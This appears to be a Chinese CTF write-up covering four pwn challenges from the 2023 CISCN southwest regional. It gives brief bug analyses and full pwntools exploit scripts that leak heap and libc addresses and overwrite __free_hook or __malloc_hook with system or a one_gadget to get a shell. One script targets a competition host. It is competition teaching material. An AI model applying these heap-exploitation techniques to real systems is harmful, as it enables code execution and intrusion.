[原创]2023ciscn西南赛区pwn Writeup
2023-6-16 12:11:0 Author: bbs.pediy.com(查看原文) 阅读量:5 收藏

申请了4个0x8的堆块作为轮子放置了tire_size和tire_pressure,0x68作为车子本体,包含了make、model、year等信息,在最后放置了四个轮子的堆块指针

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

for ( i = 0; i <= 3; ++i )

  {

    *(&v10 + i) = operator new(8uLL);

    if ( tire_size )

      **(&v10 + i) = tire_size;

    if ( tire_pressure )

      *(*(&v10 + i) + 4) = tire_pressure;

  }

  if ( year )

  {

    std::string::basic_string(v14, make);

    std::string::basic_string(v15, model);

    v1 = operator new(0x68uLL);

    sub_3644(v1, v14, v15, year, v10, v11, v12, v13);

    v7 = v1;

    std::string::~string(v15);

    std::string::~string(v14);

    sub_3C48(a1, &v7);

    std::operator<<<std::char_traits<char>>(&std::cout, "Car added successfully!\n");

  }

copy函数中在复制轮子时,也直接复制4个轮子的堆块指针,这导致free原本的车子堆块后新车辆轮子堆块内容不再是tire_size和tire_pressure,而变为tcache上的堆地址

(值得注意的是,在申请unsortbin位置堆块后导致双向链表被破坏,无法再从unsortbin里申请堆块,要控制劫持的tcache位置,满足申请一次需要的4个0x20堆块)

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

from pwn import *

import re

import os, struct, random, time, sys, signal

import hashlib

from hashlib import sha256

p = process("./car_manager")

elf = ELF("./car_manager")

libc = elf.libc

context.log_level = "debug"

context.arch = elf.arch

context.terminal = ['tmux', 'splitw', '-hp','64']

def dbg(breakpoint=''):

    elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0

    script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint

    gdb.attach(p,script)

    pause()

s       = lambda data               :p.send(str(data))

sa      = lambda text,data          :p.sendafter(text, str(data))

sl      = lambda data               :p.sendline(str(data))

sla     = lambda text,data          :p.sendlineafter(text, str(data))

r       = lambda num=4096           :p.recv(num)

ru      = lambda text               :p.recvuntil(text)

ia      = lambda                    :p.interactive()

hs256   = lambda data               :sha256(str(data).encode()).hexdigest()

l32     = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))

l64     = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))

uu32    = lambda                    :u32(p.recv(4).ljust(4,'\x00'))

uu64    = lambda                    :u64(p.recv(6).ljust(8,'\x00'))

int16   = lambda data               :int(data,16)

lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))

def add(make,model,year,size,pressure):

    sla("Please enter your choice:",1)

    sla("Enter the make of the car: ",make)

    sla("Enter the model of the car: ",model)

    sla("Enter the year of the car: ",year)

    sla("Enter the size of tire : ",size)

    sla("Enter the pressure of tire : ",pressure)

def dele(idx):

    sla("Please enter your choice:",2)

    sla("Enter the index of the car to delete: ",idx)

def find(make,model,year):

    sla("Please enter your choice:",3)

    sla("Enter the make of the car to find: ",make)

    sla("Enter the model of the car to find: ",model)

    sla("Enter the year of the car to find: ",year)

def edit(idx, make, model, year, choice, tire_size, tire_pressure, tire_idx=None):

    sla("Please enter your choice:",4)

    sla("Enter the index of the car to modify: ",idx)

    sla("Enter the new make of the car: ",make)

    sla("Enter the new model of the car: ",model)

    sla("Enter the new year of the car: ",year)

    sla("Do you want to change all tires?(1/0)",choice)

    if choice==1:

        sla("Enter the new size of tire : ",tire_size)

        sla("Enter the new pressure of tire : ",tire_pressure)

    else:

        sla("Enter the idx of tire : ",tire_idx)

        sla("Enter the new size of tire : ",tire_size)

        sla("Enter the new pressure of tire : ",tire_pressure)

def copy(idx):

    sla("Please enter your choice:",5)

    sla("Enter the index of the car to copy: ",idx)

def show():

    sla("Please enter your choice:",6)

for i in range(0x101):

    add('e4l4',i,1999,0x10,0x10)

copy(0)

copy(255)

dele(0)

show()

ru("Tire Sizes: 0, ")

heap_base_2 = int((ru(",")[:-1]),10)

lg('heap_base_2')

ru("Tire Pressures: 0, ")

heap_base_1 = int((ru(",")[:-1]),10)

lg('heap_base_1')

heap_base = (heap_base_1 << 32)+heap_base_2-0x011eb0

lg('heap_base')

unsort_heap_2 = (heap_base+0x01a0b0)&0xffffffff

unsort_heap_1 = (heap_base+0x01a0b0)>>32

edit(256,'e4l4',1,1999,1,unsort_heap_2+0x10,unsort_heap_1)

add('e4l4',259,1999,0,0)

show()

ru("Car 258:")

ru(", ")

libc_base_2 = int((ru(",")[:-1]),10)

ru("Tire Pressures: ")

ru(", ")

libc_base_1 = int((ru(",")[:-1]),10)

libc_base = (libc_base_1 << 32)+libc_base_2-0x1ecbe0

lg("libc_base")

free_hook = libc_base + 0x1eee48

system = libc_base + 0x52290

sh = 0x68732f6e69622f

dele(257)

show()

edit(254,'e4l4',1,1999,0,free_hook&0xffffffff,free_hook>>32,1)

edit(254,'e4l4',1,1999,0,sh&0xffffffff,sh>>32,0)

add('e4l4','e4l4',1999,system&0xffffffff,system>>32)

dele(254)

ia()

这道题漏洞挺多,关键漏洞点在于3号功能在第一次使用时,可以将一个ptr堆块地址放进buf,然后可以进入一个执行分支,输入yes可以在buf附近的位置写入0,这里可以实现任意libc地址写0,但似乎用不上。最后会执行一个对buf的0x10的写入,由于第二次开始不用再输入idx就能直接对buf进行修改,如果buf的堆块被free,就达到了一个UAF的效果

放置idx过大,所以利用UAF劫持申请到tcache_struct,修改tcache堆块个数,从而将堆块放入unsortbin泄露libc地址,同样的办法再劫持tcache的fd申请free_hook

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

from pwn import *

import re

import os, struct, random, time, sys, signal

import hashlib

from hashlib import sha256

p = process("./pwn")

elf = ELF("./pwn")

libc = elf.libc

context.log_level = "debug"

context.arch = elf.arch

context.terminal = ['tmux', 'splitw', '-hp','64']

def dbg(breakpoint=''):

    elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0

    script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint

    gdb.attach(p,script)

    pause()

s       = lambda data               :p.send(str(data))

sa      = lambda text,data          :p.sendafter(text, str(data))

sl      = lambda data               :p.sendline(str(data))

sla     = lambda text,data          :p.sendlineafter(text, str(data))

r       = lambda num=4096           :p.recv(num)

ru      = lambda text               :p.recvuntil(text)

ia      = lambda                    :p.interactive()

hs256   = lambda data               :sha256(str(data).encode()).hexdigest()

l32     = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))

l64     = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))

uu32    = lambda                    :u32(p.recv(4).ljust(4,'\x00'))

uu64    = lambda                    :u64(p.recv(6).ljust(8,'\x00'))

int16   = lambda data               :int(data,16)

lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))

def add(con):

    sla(">",1)

    p.sendafter("input some",con)

def edit(idx,con):

    sla(">",2)

    sla("idx:",idx)

    sla("Would you like to make final edits?",1)

    p.sendafter("input your content",con)

def show(idx):

    sla(">",2)

    sla("idx:",idx)

    sla("Would you like to make final edits?",2)

buf = 0x4060

ptr = 0x4088

sla("Let us get to know each other.",'e4l4')

add('a')

add('a')

add('a')

show(2)

show(0)

show(1)

add('a')

add('a')

sla(">",3)

sla("idx:",3)

sa("do you want crazy",'f\n')

sa("Go ahead and doodle for your artistic inspiration.",'a')

show(3)

ru("Please enjoy your masterpiece.\n")

heap_base = uu64()

lg("heap_base")

sla(">",3)

sa("do you want crazy",'f\n')

sa("Go ahead and doodle for your artistic inspiration.",p64(heap_base-0x261+0x10))

add('a')

add('\x00'*0xe+'\x07\x00')

show(5)

show(4)

edit(6,'\x00'*0x10)

add('a')

show(7)

libc_base = l64()-0x1ecc61

lg('libc_base')

free_hook = libc_base + libc.sym["__free_hook"]

system = libc_base +libc.sym["system"]

add('a')

add('a')

show(8)

show(9)

sla(">",3)

sa("do you want crazy",'f\n')

sa("Go ahead and doodle for your artistic inspiration.",p64(free_hook))

add('/bin/sh\x00')

add(p64(system))

show(10)

ia()

题目开始将puts的真实地址放在了puts_addr 变量上。由于有效的输出函数无法泄露libc,这里可以控制num来修改puts_addr为system函数的真实地址,也就是puts函数的真实地址+相对偏移=system函数的真实地址,再调用4功能即可实现getshell。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

from pwn import *

import re

import os, struct, random, time, sys, signal

import hashlib

from hashlib import sha256

p = remote("172.16.9.41","8888")

elf = ELF("./pwn")

libc = elf.libc

context.log_level = "debug"

context.arch = elf.arch

context.terminal = ['tmux', 'splitw', '-hp','64']

def dbg(breakpoint=''):

    elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0

    script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint

    gdb.attach(p,script)

    pause()

s       = lambda data               :p.send(str(data))

sa      = lambda text,data          :p.sendafter(text, str(data))

sl      = lambda data               :p.sendline(str(data))

sla     = lambda text,data          :p.sendlineafter(text, str(data))

r       = lambda num=4096           :p.recv(num)

ru      = lambda text               :p.recvuntil(text)

ia      = lambda                    :p.interactive()

hs256   = lambda data               :sha256(str(data).encode()).hexdigest()

l32     = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))

l64     = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))

uu32    = lambda                    :u32(p.recv(4).ljust(4,'\x00'))

uu64    = lambda                    :u64(p.recv(6).ljust(8,'\x00'))

int16   = lambda data               :int(data,16)

lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))

sla("what is your name",'/bin/sh')

def add(idx,con):

    sla("what do you want to do",1)

    sla("what do you want to choose",idx)

    sla("some add\n",con)

def clean(idx,con):

    sla("what do you want to do",2)

    sla("what do you want to choose",idx)

    sla("some add\n",con)

def xor(idx,con):

    sla("what do you want to do",3)

    sla("what do you want to choose",idx)

    sla("some add\n",con)

clean(-2,0x032190)

sla("what do you want to do",4)

ia()

题目一共能申请三种大小的堆块,分别存放在free/ptr/buf中(这里的free覆盖并不能达到执行函数的目的,因为free_got已经存在真实函数地址),通过切割unsortbin堆块可以获得libc地址

dele功能0/1/2分别指代buf ptr free,难点在于free(1)即free ptr时,会导致ptr_size被置为0,没有办法使用show功能,所以要注意泄露地址之前不能free(1)

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

from pwn import *

import re

import os, struct, random, time, sys, signal

import hashlib

from hashlib import sha256

p = process("./pwn")

elf = ELF("./pwn")

libc = elf.libc

context.log_level = "debug"

context.arch = elf.arch

context.terminal = ['tmux', 'splitw', '-hp','64']

def dbg(breakpoint=''):

    elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0

    script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint

    gdb.attach(p,script)

    pause()

s       = lambda data               :p.send(str(data))

sa      = lambda text,data          :p.sendafter(text, str(data))

sl      = lambda data               :p.sendline(str(data))

sla     = lambda text,data          :p.sendlineafter(text, str(data))

r       = lambda num=4096           :p.recv(num)

ru      = lambda text               :p.recvuntil(text)

ia      = lambda                    :p.interactive()

hs256   = lambda data               :sha256(str(data).encode()).hexdigest()

l32     = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))

l64     = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))

uu32    = lambda                    :u32(p.recv(4).ljust(4,'\x00'))

uu64    = lambda                    :u64(p.recv(6).ljust(8,'\x00'))

int16   = lambda data               :int(data,16)

lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))

def add(size,con):

    sla("input:",1)

    sla("please enter size of malloc :",size)

    p.sendafter("please enter contents of your heap:",con)

def edit(con):

    sla("input:",4)

    sla("please enter what you want to edit:",con)

def show():

    sla("input:",2)

def dele(idx):

    sla("input:",3)

    sla("please enter which heap you want to delete:",idx)

def malloc_s():

    sla("input:",5)

buf = 0x6020C0

puts = elf.plt['puts']

add(0x300,p64(puts))

add(0x38,'a')

dele(2)

add(0x100,'a')

show()

libc_base = l64()-0x3c4e61

lg('libc_base')

free_hook = libc_base+0x3c67a8

malloc_hook = libc_base+libc.sym["__malloc_hook"]

lg('free_hook')

one = libc_base + 0x4527a

dele(1)

add(0x68,'a')

dele(2)

edit(p64(malloc_hook-0x23))

add(0x60,'a')

add(0x60,'a'*0x13+p64(one))

malloc_s()

ia()


文章来源: https://bbs.pediy.com/thread-277650.htm
如有侵权请联系:admin#unsafe.sh